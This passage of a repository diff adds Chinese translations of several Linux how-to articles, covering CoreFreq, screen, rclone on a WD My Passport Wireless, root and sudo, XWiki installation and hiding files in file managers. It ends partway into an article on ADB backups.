[9]:https://github.com/rapidloop/rtop
[10]:http://www.tecmint.com/command-line-tools-to-monitor-linux-performance/
[11]:http://www.tecmint.com/linux-performance-monitoring-tools/

View File

@ -0,0 +1,169 @@
CoreFreq一款强大的监控 CPU 的专业工具
============================================================
CoreFreq 是一个用于英特尔 64 位处理器的 [CPU 监控程序][1],并且支持 Atom、Core2、Nehalem、SandyBridge 及以上、还有 AMD 0F 家族。
它的核心建立在内核模块上,用于从每个 CPU 核心检索内部性能计数器,并且与收集数据的守护进程一起工作,一个小型控制台客户端连接到该守护程序并显示收集的数据。
[
![CoreFreq CPU Monitoring](http://www.tecmint.com/wp-content/uploads/2017/02/CoreFreq-CPU-Monitoring.gif)
][2]
它提供了高精度的重新捕获 CPU 数据的基础工作:
1. 核心频率和比率SpeedStepEIST、Turbo Boost、超线程HTT以及基本时钟Base Clock
2. 性能计数器结合时间戳计数器Time Stamp CounterTSC、非停机核心周期Unhalted Core CyclesUCC、非停机引用周期Unhalted Reference CyclesURC
3. 每周期或每秒的指令数IPS、IPC 或 CPI。
4. CPU C 状态: C0 C1 C3 C6 C7 - C1E - C1、C3 的自动/非降级UnDemotion
5. 带有 Tjunction Max 的 DTS 温度、热监测Thermal Monitoring TM1、TM2 状态。
6. 包括用于自举的高速缓存和应用程序 CPU 拓扑图。
7. 处理器特性、品牌、架构字符串。
注意:此工具更适用于 Linux 专家用户和经验丰富的系统管理员,但新手用户可以逐步学习如何使用它。
#### CoreFreq 如何工作
它通过调用一个 Linux 内核模块实现,它使用了:
1. 汇编代码保持尽可能接近性能计数器读数。
2. 按每个 CPU 影响的 slab 数据内存加上高分辨率定时器。
3. 支持 CPU 暂停/恢复和 CPU 热插拔。
4. 使用共享内存来保护内核免受来自用户空间程序的损害。
5. 使用原子级同步的线程来消除互斥和死锁。
### 如何在 Linux 中安装 CoreFreq
要安装 CoreFreq你首先需要安装依赖程序开发工具来编译并从源码构建程序。
```
$ sudo yum group install 'Development Tools' [On CentOS/RHEL]
$ sudo dnf group install 'Development Tools' [On Fedora 22+ Versions]
# sudo apt-get install dkms git libpthread-stubs0-dev [On Debian/Ubuntu]
```
接下来克隆 Github 上 CoreFreq 源码进入下载文件夹并编译构建程序
```
$ git clone https://github.com/cyring/CoreFreq.git
$ cd CoreFreq
$ make
```
[
![Build CoreFreq Program](http://www.tecmint.com/wp-content/uploads/2017/02/make-corefreq.png)
][3]
*构建 CoreFreq 程序*
注意Arch Linux 用户可以从 AUR 中安装 [corefreq-git][4]。
现在运行以下命令从本地目录加载 Linux 内核模块,接着运行守护程序:
```
$ sudo insmod corefreqk.ko
$ sudo ./corefreqd
```
接着使用普通用户启动客户端。
```
$ ./corefreq-cli
```
[
![CoreFreq Linux CPU Monitoring](http://www.tecmint.com/wp-content/uploads/2017/02/CoreFreq-Linux-CPU-Monitoring.gif)
][5]
*CoreFreq Linux CPU 监控*
在上面的界面中,你可以使用这些快捷键:
1. 使用 `F2` 显示屏幕顶部显示的使用菜单。
2. 使用 `右``左` 箭头移动菜单选项卡。
3. 使用 `上``下` 箭头选择菜单项,然后单击回车。
4. 使用 `F4` 关闭程序。
5. 使用 `h` 打开快速参考。
要查看所有的使用选项,请输入以下命令:
```
$ ./corefreq-cli -h
```
CoreFreq 选项:
```
CoreFreq. Copyright (C) 2015-2017 CYRIL INGENIERIE
usage: corefreq-cli [-option <arguments>]
-t Show Top (default)
-d Show Dashboard
arguments: <left> <top> <marginWidth> <marginHeight>
-c Monitor Counters
-i Monitor Instructions
-s Print System Information
-M Print Memory Controller
-m Print Topology
-u Print CPUID
-k Print Kernel
-h Print out this message
Exit status:
0 if OK,
1 if problems,
>1 if serious trouble.
Report bugs to labs[at]cyring.fr
```
要打印内核的信息,运行:
```
$ ./corefreq-cli -k
```
打印 CPU 细节信息:
```
$ ./corefreq-cli -u
```
你也可以实时监控 CPU 指令:
```
$ ./corefreq-cli -i
```
如下启用计数器追踪:
```
$ ./corefreq-cli -c
```
有关更多信息和用法,请访问 CoreFreq 的 Github 仓库:[https://github.com/cyring/CoreFreq][6] 。
在本文中,我们评估了一个强大的 CPU 监控工具,这对于 Linux 专家或经验丰富的系统管理员来说可能比新手用户更有用。
通过下面的评论栏与我们分享你对这个工具或任何相关的想法。
--------------------------------------------------------------------------------
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux 系统管理员和网络开发人员,目前是 TecMint 的内容创作者,他喜欢用电脑工作,并坚信分享知识。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/corefreq-linux-cpu-monitoring-tool/
作者:[Aaron Kili][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/aaronkili/
[1]:http://www.tecmint.com/bcc-best-linux-performance-monitoring-tools/
[2]:http://www.tecmint.com/wp-content/uploads/2017/02/CoreFreq-CPU-Monitoring.gif
[3]:http://www.tecmint.com/wp-content/uploads/2017/02/make-corefreq.png
[4]:https://aur.archlinux.org/packages/corefreq-git
[5]:http://www.tecmint.com/wp-content/uploads/2017/02/CoreFreq-Linux-CPU-Monitoring.gif
[6]:https://github.com/cyring/CoreFreq

View File

@ -0,0 +1,126 @@
screen 命令使用及示例
============================================================
![linux screen command usage and examples](https://www.rosehosting.com/blog/wp-content/uploads/2017/02/linux-screen-usage-examples.jpg)
`screen` 是一个非常有用的命令,提供从单个 SSH 会话中使用多个 shell 窗口会话的能力。当会话被分离或网络中断时screen 会话中启动的进程仍将运行,你可以随时重新连接到 screen 会话。如果你想运行一个持久的进程或者从多个位置连接到 shell 会话,这也很方便。
在本文中,我们将展示在 Linux 上安装和使用 `screen` 的基本知识。
### 如何安装 screen
`screen` 在一些流行的发行版上已经预安装了。你可以使用下面的命令检查是否已经在你的服务器上安装了。
```
screen -v
Screen version 4.00.03 (FAU)
```
如果在 Linux 中还没有 `screen`,你可以使用系统提供的包管理器很简单地安装它。
**CentOS/RedHat/Fedora**
```
yum -y install screen
```
**Ubuntu/Debian**
```
apt-get -y install screen
```
### 如何启动一个 screen 会话
你可以在命令行中输入 `screen` 来启动它,接着会有一个看上去和命令行提示符一样的 `screen` 会话启动。
```
screen
```
使用描述性名称启动屏幕会话是一个很好的做法,这样你可以轻松地记住会话中正在运行的进程。要使用会话名称创建新会话,请运行以下命令:
```
screen -S name
```
将 “name” 替换为对你会话有意义的名字。
### 从 screen 会话中分离
要从当前的 screen 会话中分离,你可以按下 `Ctrl-A``d`。所有的 screen 会话仍将是活跃的,你之后可以随时重新连接。
### 重新连接到 screen 会话
如果你从一个会话分离,或者由于某些原因你的连接被中断了,你可以使用下面的命令重新连接:
```
screen -r
```
如果你有多个 screen 会话,你可以用 `ls` 参数列出它们。
```
screen -ls
There are screens on:
7880.session    (Detached)
7934.session2   (Detached)
7907.session1   (Detached)
3 Sockets in /var/run/screen/S-root.
```
在我们的例子中,我们有三个活跃的 screen 会话。因此,如果你想要还原 “session2” 会话,你可以执行:
```
screen -r 7934
```
或者使用 screen 名称。
```
screen -r -S session2
```
### 中止 screen 会话
有几种方法来中止 screen 会话。你可以按下 `Ctrl+d`,或者在命令行中使用 `exit` 命令。
要查看 `screen` 命令所有有用的功能,你可以查看 `screen` 的 man 手册。
```
man screen
NAME
screen - screen manager with VT100/ANSI terminal emulation
SYNOPSIS
screen [ -options ] [ cmd [ args ] ]
screen -r [[pid.]tty[.host]]
screen -r sessionowner/[[pid.]tty[.host]]
```
* * *
顺便说一下,如果你喜欢这篇文章,请在社交网络上与你的朋友分享,或者在评论区留下评论。谢谢。
--------------------------------------------------------------------------------
via: https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/
作者:[rosehosting.com][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/
[1]:https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/
[2]:https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/#comments
[3]:https://www.rosehosting.com/blog/category/tips-and-tricks/
[4]:https://www.rosehosting.com/centos-vps.html
[5]:https://www.rosehosting.com/ubuntu-vps.html
[6]:https://www.rosehosting.com/debian-vps.html
[7]:https://plus.google.com/share?url=https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/
[8]:http://www.linkedin.com/shareArticle?mini=true&url=https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/&title=Basic%20screen%20command%20usage%20and%20examples&summary=Screen%20is%20a%20very%20useful%20command%20that%20offers%20the%20ability%20to%20use%20multiple%20shell%20windows%20(sessions)%20from%20a%20single%20SSH%20session.%20When%20the%20session%20is%20detached%20or%20there%20is%20a%20network%20disruption,%20the%20process%20that%20is%20started%20in%20a%20screen%20session%20will%20still%20run%20and%20you%20can%20re-attach%20to%20the%20...
[9]:https://www.rosehosting.com/linux-vps-hosting.html

View File

@ -0,0 +1,56 @@
对西部数据 My Passport Wireless 移动存储进行 Linux 魔改
============================================================
虽然 WD My Passport Wireless 本身就是一个相当有用的设备,但它有一个轻量级但完整的 Linux 发行版提供支持的事实意味着其功能可以进一步扩展。例如,在设备上部署 [rclone][3],这样你可以将存储在磁盘上的照片和 RAW 文件备份到任何支持的云存储服务中。
在开始之前,你需要将设备连接到 Wi-Fi 网络并启用 SSH以便你可以通过 SSH 访问底层 Linux 系统)。要将 WD My Passport Wireless 连接到当前的 Wi-Fi 网络中,请为设备供电并连接到从常规 Linux 计算机创建的无线热点。打开浏览器,进入 [http://mypassport.local][1],然后登录到设备的 web 界面。切换到 Wi-Fi 一栏,并连接到现有的本地 Wi-Fi 网络。然后切换到管理员部分并启用 SSH 访问。
![wd-mypassport-wireless-admin](https://scribblesandsnaps.files.wordpress.com/2017/02/wd-mypassport-wireless-admin.png?w=605)
在你的 Linux 机器上,打开终端并使用 `ssh root@mypassport.local` 连接到设备。
使用下面的命令部署 rclone
```
curl -O http://downloads.rclone.org/rclone-current-linux-arm.zip
unzip rclone-current-linux-arm.zip
cd rclone-*-linux-arm
cp rclone /usr/sbin/
chown root:root /usr/sbin/rclone
chmod 755 /usr/sbin/rclone
mkdir -p /usr/local/share/man/man1
sudo cp rclone.1 /usr/local/share/man/man1/
sudo mandb
```
完成后运行 `rclone config` 命令。由于在无外接显示器的机器上配置 rclone请按照[远程设置][4]页面上的说明进行操作。你可以在 [Linux Photography][5] 这本书中找到有关配置和使用 rclone 的详细信息。
你也可以将 WD My Passport Wireless 用到其他实际用途。由于设备附带了 Python因此你可以在设备上运行脚本和基于 Python 的 web 应用程序。例如,你可以部署简单的 [Whats in My Bag][6] 程序来跟踪你的照相设备。
```
curl -LOk https://github.com/dmpop/wimb/archive/master.zip
unzip master.zip
mv wimb-master/ wimb
cd wimb
curl -LOk https://github.com/bottlepy/bottle/raw/master/bottle.py
```
运行 `./wimb.py` 启动应用,并在浏览器中打开 [http://mypassport:8080/wimb][2] 访问并使用程序。
--------------------------------------------------------------------------------
via: https://scribblesandsnaps.com/2017/02/10/wd-my-passport-wireless-linux-hacks/
作者:[Dmitri Popov][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://scribblesandsnaps.com/author/dmpop/
[1]:http://mypassport.local/
[2]:http://mypassport:8080/wimb
[3]:http://rclone.org/
[4]:http://rclone.org/remote_setup/
[5]:https://gumroad.com/l/linux-photography
[6]:https://github.com/dmpop/wimb

View File

@ -0,0 +1,44 @@
来聊聊: Windows vs. Linux
============================================================
> Windows 用户们,去还是留?
Windows 依然是高居榜首的桌面操作系统,占据 90% 以上的市场份额,远超 macOS 和 Linux 。
从数据来看,尽管 linux 并不是 Windows 的头号接班人,但近几年越来越多用户转向 Ubuntu、Linux Mint 等发行版,的确为 Linux 带来了不小的增长。
面对 Windows 10 发布以来招致的诸多批评,微软后来采取的激进升级策略也明显无济于事。很多用户抱怨在不知情的情况下就被升级到了 Windows 10 ,这也促使部分用户决定放弃微软产品而转向 Linux 。
同时也有声音指责微软试图通过 Windows 10 监视用户,同样,这些批评助推更多用户投入 Linux 阵营。
### 你怎么选: Windows or Linux
十几年前,用户转向 Linux 还主要是出于安全考虑,因为 Windows 才是全世界病毒和黑客的主要攻击目标。
这有它的必然原因: Windows 是被最广泛采用的操作系统,但那时微软在安全上的设计并没有今天这样实用。
而近几年,尽管 Linux 和 Windows 在安全方面的差距已没有那么明显,但那些决定转阵营的用户似乎又有了除安全以外的其它理由。
我们不想用什么市场统计来说明问题,因为在这场 Windows 和 Linux 的持久战中,这些数据显得无关紧要。但是用户的声音却至关重要,因为它们总能代表并预示各个平台的走向。
这也是为什么我们在这里向读者提出问题: Linux 是 Windows 合适的替代品么?放弃 Windows 而选择 Linux 是否明智?微软是否该为用户流向 Linux 而感到紧张?请在评论中留下您的看法。
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/let-s-chat-windows-vs-linux-512842.shtml
作者:[Bogdan Popa][a]
译者:[Dotcra](https://github.com/Dotcra)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://news.softpedia.com/editors/browse/bogdan-popa
[1]:http://news.softpedia.com/editors/browse/bogdan-popa
[2]:http://news.softpedia.com/news/let-s-chat-windows-vs-linux-512842.shtml#
[3]:https://share.flipboard.com/bookmarklet/popout?v=2&title=Let%E2%80%99s+Chat%3A+Windows+vs.+Linux&url=http%3A%2F%2Fnews.softpedia.com%2Fnews%2Flet-s-chat-windows-vs-linux-512842.shtml&t=1487122876&utm_campaign=widgets&utm_medium=web&utm_source=flipit&utm_content=news.softpedia.com
[4]:http://news.softpedia.com/news/let-s-chat-windows-vs-linux-512842.shtml#
[5]:http://twitter.com/intent/tweet?related=softpedia&via=bgdftw&text=Let%E2%80%99s+Chat%3A+Windows+vs.+Linux&url=http%3A%2F%2Fnews.softpedia.com%2Fnews%2Flet-s-chat-windows-vs-linux-512842.shtml
[6]:https://plus.google.com/share?url=http://news.softpedia.com/news/let-s-chat-windows-vs-linux-512842.shtml
[7]:https://twitter.com/intent/follow?screen_name=bgdftw

View File

@ -0,0 +1,82 @@
Root 是谁?为什么会有 Root 账户?
============================================================
在 Linux 中为什么会有一个名为 root 的特定账户?该怎么使用 root 账户?它在哪些场景下必须使用,哪些场景下不能使用?对于以上几个问题,如果您感兴趣的话,那么请继续阅读。
本文中,我们提供了一些关于 root 账户的参考资料,方便您了解。
### root 是什么?
首先,记住这一点,在 Unix 类操作系统中,目录的层级结构被设计为树状结构。起始目录是一个特殊目录,使用斜杠 `/` 表示,而其他目录都是由起始目录分支而来。由于这种结构很像现实中的树,所以 `/` 也被称为根root目录。
下图,我们可以看到以下命令的输出:
```
$ tree -d / | less
```
该命令主要是演示一下 `/` 根目录和树`根`的类比。
[
![Linux 的目录层级](http://www.tecmint.com/wp-content/uploads/2017/02/Linux-root-Directory-Tree.png)
][1]
*Linux 的目录层级*
虽然 root 账户命名的原因还不是很清楚,可能是因为 root 账户是唯一一个在根目录 `/` 中有写权限的账号吧。
此外,由于 root 账户可以访问 Unix 类操作系统中的所有文件和命令,因此,它也常被称为超级用户。
另外,根目录 `/``/root` 目录不能混淆了,`/root` 目录是 `root` 账户的家目录。实际上,`/root` 目录是根目录 `/` 的子目录。
### 获取 root 权限
当我们说到 root或者超级用户权限的时候我们指的是这样一种账户的权限其在系统上的权限包含但不限于修改系统并授权其他用户对系统资源的访问权限。
胡乱使用 root 账户,轻则系统崩溃重则系统完全故障。这就是为什么会说,以下准则是使用 root 账户的正确姿势:
首先,使用 root 账户运行 `visudo` 命令编辑 `/etc/sudoers` 文件,给指定账户(如:`supervisor`)授予最低的超级用户权限。
最低超级用户权限可以包含,例如:[添加用户 (`adduser`)][2]、[修改用户 (`usermod`)][3]等权限。
接着,使用 `supervisor` 账户登录并[使用 `sudo` 执行用户管理任务][4]。此时,你可能会发现,当你执行需要超级用户权限(例如:删除软件包)的其它任务时,会失败。
[
![没有使用超级用户权限运行命令](http://www.tecmint.com/wp-content/uploads/2017/02/Run-Commands-Without-sudo.png)
][5]
*没有使用超级用户权限运行命令*
在必须使用超级用户权限时,重复执行以上两个步骤,一旦执行完成,则立即使用 `exit` 命令退回到无特限的账户。
此时,你需要确定一下其他周期性的任务是否需要超级用户权限?如果需要,那么在 `/etc/sudoers` 中,给指定的账户或组授予必要的权限,尽量避免直接使用 `root` 账户操作。
##### 摘要
本文可以作为在 Unix 类操作系统中正确使用 root 账户的简单参考。收藏一下,你就可以随时翻阅!
还是一样,如果您对本文有什么疑问或建议,请使用以下的评论表单给我们评论留言,期待您的回音!
--------------------------------------------------------------------------------
作者简介:
Gabriel Cánepa 来自 Villa Mercedes, San Luis, Argentina。他是一名 GNU/Linux 系统管理员和 Web 开发员,现在一家全球领先的消费品公司就职。他很喜欢使用 FOSS 工具来提高自己的工作效率。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/who-is-root-why-does-root-exist-in-linux/
作者:[Gabriel Cánepa][a]
译者:[zhb127](https://github.com/zhb127)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/gacanepa/
[1]:http://www.tecmint.com/wp-content/uploads/2017/02/Linux-root-Directory-Tree.png
[2]:http://www.tecmint.com/add-users-in-linux/
[3]:http://www.tecmint.com/usermod-command-examples/
[4]:http://www.tecmint.com/sudoers-configurations-for-setting-sudo-in-linux/
[5]:http://www.tecmint.com/wp-content/uploads/2017/02/Run-Commands-Without-sudo.png

View File

@ -0,0 +1,147 @@
如何在 CentOS 中安装 XWiki
============================================================
由于大家的强烈要求,这里有另外一篇在 CentOS 7 服务器中用 XWiki 安装 wiki 的教程。我们已经发布了一篇[如何在 Ubuntu 中安装 DokuWiki][8] 的教程,但如果你需要一个 DokuWiki 的替代品XWiki 是一个很好的选择。
### XWiki 信息
首先最重要的是:它是自由而开源的!这是一些 XWiki 的功能:
* 一个非常强大的所见即所得编辑器
* 强大的 wiki 语法
* 强大的权限管理
* 响应式皮肤
* 高级搜索
* 独特的应用程序集
* 还有更多功能……
### 为何使用 XWiki
它已经开发了 10 多年XWiki 被许多知名公司使用作为:
* 知识库
* 内网协作
* 公开网站
* 商业应用
* 其他等……
### XWiki 要求
* Java 8 或更高版本
* 支持 Servlet 3.0.1 的 Servlet 容器
* 用于支持数据库的 JDBC 4 驱动程序
* 至少 2GB RAM对于较小的 wiki 是 1GB
* 你可以用 $10 从 [Linode][1] 买到 2GB RAM VPS。但是它是[非管理][2]的 VPS。如果你想要一个[管理 VPS][3],你可以搜索一下供应商。如果你得到一个管理 VPS他们可能会为你安装 XWiki。
我们将在本教程中使用 CentOS 7 服务器。
### CentOS 7 中 XWiki 安装指南
让我们开始吧。首先登录 CentOS VPS更新你的系统
```
yum update
```
如果你还没有安装 nano 和 wget就先安装
```
yum install nano wget
```
### 安装 Java
XWiki 基于并运行于 Java 环境,因此我们需要安装 Java。要安装它运行下面的命令
```
yum install java
```
要验证是否已经成功安装,运行:
```
java -version
```
### 下载并安装 XWiki
目前XWiki 最新的版本是 8.4.4,如果还有更新的版本,你可以用更新命令更新。
要下载 XWiki 安装器,运行:
```
wget http://download.forge.ow2.org/xwiki/xwiki-enterprise-installer-generic-8.4.4-standard.jar
```
要运行安装器,输入下面的命令:
```
java -jar xwiki-enterprise-installer-generic-8.4.4-standard.jar
```
现在,安装器会有提示地询问你几个问题,分别输入 `1`(接受)、`2`(退出)、`3`(重新显示)。大多数提示可以回答 `1`(接受)。这个安装器是不言自明的,易于理解,因此只要遵循其每步建议就行。
### 启动 XWiki
要启动 XWiki你需要进入你先前选择的目录
```
cd /usr/local/"XWiki Enterprise 8.4.4"
```
并运行脚本:
```
bash start_xwiki.sh
```
等待脚本执行完毕就行了。XWiki 已经安装并已启动。就是这么简单。
现在你可以在 8080 端口上通过域名或者服务器 IP 访问 XWiki 了:
```
http://server-ip:8080
```
或者
```
http://example.com:8080
```
XWiki 默认运行在 8080 端口,但如果你想要使用 80 端口,确保没有其他程序运行在 80 端口,并用下面的命令启动 XWiki
```
bash start_xwiki.sh -p 80
```
现在你可以不用指定端口访问 XWiki 了。当你访问时,你应该会看见默认的 XWiki 主页,类似于这样:
![xwiki start page](https://thishosting.rocks/wp-content/uploads/2017/02/xwiki-starting-page.jpg.webp)
XWiki 默认的管理员用户及密码为:
- 用户名Admin
- 密码admin
使用它们登录并访问管理面板。祝你在新的 wiki 中使用愉快!
--------------------------------------------------------------------------------
via: https://thishosting.rocks/how-to-build-your-own-wiki-with-xwiki-on-centos/
作者:[thishosting.rocks][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://thishosting.rocks
[1]:https://thishosting.rocks/go/linode
[2]:https://thishosting.rocks/cheap-cloud-hosting-providers-comparison/
[3]:https://thishosting.rocks/best-cheap-managed-vps/
[4]:https://thishosting.rocks/category/knowledgebase/
[5]:https://thishosting.rocks/tag/wiki/
[6]:https://thishosting.rocks/tag/xwiki/
[7]:https://thishosting.rocks/2017/02/12/
[8]:https://linux.cn/article-8178-1.html

View File

@ -0,0 +1,163 @@
如何不用重命名在文件管理器中隐藏文件和文件夹
============================================================
如果一个系统被多个用户使用,你或许出于个人原因想在文件管理器中隐藏一些文件或文件夹不让其他人看到(绝大多数用户不会对 Linux 系统进行深入了解,所以他们只会看到文件管理器列出的文件和文件夹),我们有三种方法可以来做这件事。此外,(除了隐藏)你还可以使用密码保护文件或文件夹。在这个教程中,我们将讨论如何用非重命名的方法在文件管理器中隐藏文件和文件夹。
我们都知道,通过以 `点`(“.”)前缀重命名一个文件或文件夹的方式,可以在 Linux 中将该文件或文件夹隐藏。但这不是隐藏文件或文件夹的正确/高效方式。一些文件管理器也隐藏文件名以波浪号(“~”)结尾的文件,那些文件被认为是备份文件。
在文件管理器中隐藏文件或文件夹的三种方法:
* 给文件或文件夹名添加一个 `点`(“.”)前缀。
*   创建一个叫做 `.hidden` 的文件,然后把需要隐藏的文件或文件夹加到里面。
*  使用 Nautilus Hide 扩展
### 通过点(“.”)前缀隐藏文件或文件夹
这是每个人都知道的方法,因为默认情况下文件管理器和终端都不会显示以点(“.”)作为前缀的文件或文件夹。要隐藏一个现有文件,我们必须重命名它。这种方法并不总是一个好主意。我不推荐这种方法,在紧急情况下你可以使用这种方法,但不要特意这样做。
为了测试,我将创建一个叫做 `.magi` 的新文件夹。看下面的输出,当我使用 `ls -lh` 命令时,不会显示以`点`(“.”)作为前缀的文件或文件夹。在文件管理器中你也可以看到相同的结果。
```
# mkdir .magi
# ls -lh
total 36K
-rw-r--r-- 1 magi magi 32K Dec 28 03:29 nmon-old
```
文件管理器查看。
[
![](http://www.2daygeek.com/wp-content/uploads/2020/08/hide-files-and-folders-in-file-manager-without-renaming-linux-1a.png)
][2]
为了澄清一下,我在 ls 命令后面加上 `-a` 选项来列出被隐藏文件(是的,现在我可以看到文件名 .magi 了)。
```
# ls -la
total 52
drwxr-xr-x 4 magi magi 4096 Feb 12 01:09 .
drwxr-xr-x 24 magi magi 4096 Feb 11 23:41 ..
drwxr-xr-x 2 magi magi 4096 Feb 12 01:09 .magi
-rw-r--r-- 1 magi magi 32387 Dec 28 03:29 nmon-old
```
为了查看文件管理器中的被隐藏文件,只需按 `Ctrl+h` 快捷键,再次按 `Ctrl+h` 又可以把这些文件隐藏。
[
![](http://www.2daygeek.com/wp-content/uploads/2020/08/hide-files-and-folders-in-file-manager-without-renaming-linux-2a.png)
][3]
### 用非重命名方法,通过 “.hidden” 文件的帮助隐藏文件或文件夹
如果你想用非重命名的方法隐藏一个文件,或者一些应用不允许重命名。在这种情况下,你可以使用 `.hidden` 文件,它可能是最适合你的选择。
一些文件管理器,比如 Nautilus、Nemo、Caja 和 Thunar提供了一种很原始的方法来隐藏文件不需要重命名。怎样做只需在想要隐藏文件的地方创建一个叫做 `.hidden` 的文件,然后把想隐藏的文件和文件夹列表一行一个地加进来。最后,刷新文件夹,那些文件将不显示出来。
为了测试,我将在同一目录下创建一个叫做 `.hidden` 的文件和两个分别叫做 `2g`、`2daygeek` 的文件/文件夹,然后把它们加到 `.hidden` 文件中。
```
# touch 2g
# mkdir 2daygeek
# nano .hidden
2g
2daygeek
```
将两个文件加到 `.hidden` 文件之前。
[
![](http://www.2daygeek.com/wp-content/uploads/2020/08/hide-files-and-folders-in-file-manager-without-renaming-linux-5.png)
][4]
将两个文件加到 .hidden 文件之后。
[
![](http://www.2daygeek.com/wp-content/uploads/2017/02/hide-files-and-folders-in-file-manager-without-renaming-linux-6.png)
][5]
通过按 `Ctrl+h` 显示所有文件。
[
![](http://www.2daygeek.com/wp-content/uploads/2017/02/hide-files-and-folders-in-file-manager-without-renaming-linux-7.png)
][6]
### Nautilus Hide 扩展
[Nautilus Hide][7] 是针对 Nautilus 文件管理器的一个简单的 Python 扩展,它在右键菜单中增加了隐藏或显示被隐藏文件的选项。
要在 Ubuntu 及其衍生版上安装 Nautilus 和 Namo 的 Hide 扩展,我们可以在 Ubuntu 及其衍生版上通过运行下面的命令:
```
$ sudo apt install nautilus-hide
$ nautilus -q
$ sudo apt install nemo-hide
$ nemo -q
```
对于基于 DEB 的系统,可以按照下面的步骤安装 Nautilus Hide 扩展:
```
$ sudo apt install cmake gettext python-nautilus xdotool
$ mkdir build
$ cd build
$ cmake ..
$ sudo make
$ sudo make install
$ nautilus -q
```
对于基于 RPM 的系统,按照下面的步骤安装 Nautilus Hide 扩展:
```
$ sudo [yum|dnf|zypper] install cmake gettext nautilus-python xdotool
$ mkdir build
$ cd build
$ cmake ..
$ sudo make
$ sudo make install
$ nautilus -q
```
这个扩展其实就是简单的使用 `.hidden` 文件来隐藏文件。当你选择隐藏一个文件时,它的名字就加入到 `.hidden` 文件。当你选择对它解除隐藏(为解除隐藏,按 `Ctrl+h` 快捷键来显示包括点(“.”)前缀在内的所有文件,然后选择<ruby>解除隐藏文件<rt>Unhide Files</rt></ruby>)时,它的名字就从 `.hidden` 文件中移除(当把所有列在 `.hidden` 文件中的文件都解除隐藏以后, `.hidden` 文件也就随之消失了)。如果文件没有被隐藏/显示,请按 F5 来刷新文件夹。
你可能会问,方法二也能完成相同的事情,为什么我还要安装 Nautilus Hide 扩展。在方法二中,我需要在要隐藏文件的地方手动创建一个 `.hidden` 文件,然后必须把需要隐藏的文件加到其中,但在这儿一切都是自动的。简单的右键单击,然后选择隐藏或取消隐藏(如果 `.hidden` 文件还不存在,它会自动创建 )。
使用 Nautilus Hide 扩展来隐藏一个文件。
看下面的屏幕截图,我们使用 Nautilus Hide 扩展来隐藏一个文件。
[
![](http://www.2daygeek.com/wp-content/uploads/2017/02/hide-files-and-folders-in-file-manager-without-renaming-linux-3a.png)
][8]
使用 Nautilus Hide 扩展来解除文件隐藏。
看下面的屏幕截图,我们使用 Nautilus Hide 扩展解除对一个文件的隐藏(通过按 `Ctrl+h` 你可以查看所有的被隐藏文件和文件夹)。
[
![](http://www.2daygeek.com/wp-content/uploads/2020/08/hide-files-and-folders-in-file-manager-without-renaming-linux-4.png)
][9]
--------------------------------------------------------------------------------
via: http://www.2daygeek.com/how-to-hide-files-and-folders-in-file-manager-without-renaming/
作者:[MAGESH MARUTHAMUTHU][a]
译者:[ucasFL](https://github.com/ucasFL)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.2daygeek.com/how-to-hide-files-and-folders-in-file-manager-without-renaming/
[1]:http://www.2daygeek.com/author/magesh/
[2]:http://www.2daygeek.com/wp-content/uploads/2020/08/hide-files-and-folders-in-file-manager-without-renaming-linux-1a.png
[3]:http://www.2daygeek.com/wp-content/uploads/2020/08/hide-files-and-folders-in-file-manager-without-renaming-linux-2a.png
[4]:http://www.2daygeek.com/wp-content/uploads/2020/08/hide-files-and-folders-in-file-manager-without-renaming-linux-5.png
[5]:http://www.2daygeek.com/wp-content/uploads/2017/02/hide-files-and-folders-in-file-manager-without-renaming-linux-6.png
[6]:http://www.2daygeek.com/wp-content/uploads/2017/02/hide-files-and-folders-in-file-manager-without-renaming-linux-7.png
[7]:https://github.com/brunonova/nautilus-hide
[8]:http://www.2daygeek.com/wp-content/uploads/2017/02/hide-files-and-folders-in-file-manager-without-renaming-linux-3a.png
[9]:http://www.2daygeek.com/wp-content/uploads/2020/08/hide-files-and-folders-in-file-manager-without-renaming-linux-4.png

View File

@ -0,0 +1,90 @@
如何在 Ubuntu 上使用 ADB 备份 Android 数据
============================================================
![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/02/android-backup-ubuntu.jpg "How to Back Up Your Android Data with ADB on Ubuntus")
备份 Android 系统上的应用数据、文本信息等等是非常乏味的,有时还很昂贵。电子市场的许多应用都承诺可以备份数据,但效果不佳或者需要付昂贵费用。你是否知道有一种更好的方法可以来做这件事,并且在你的电脑上就可以完成?
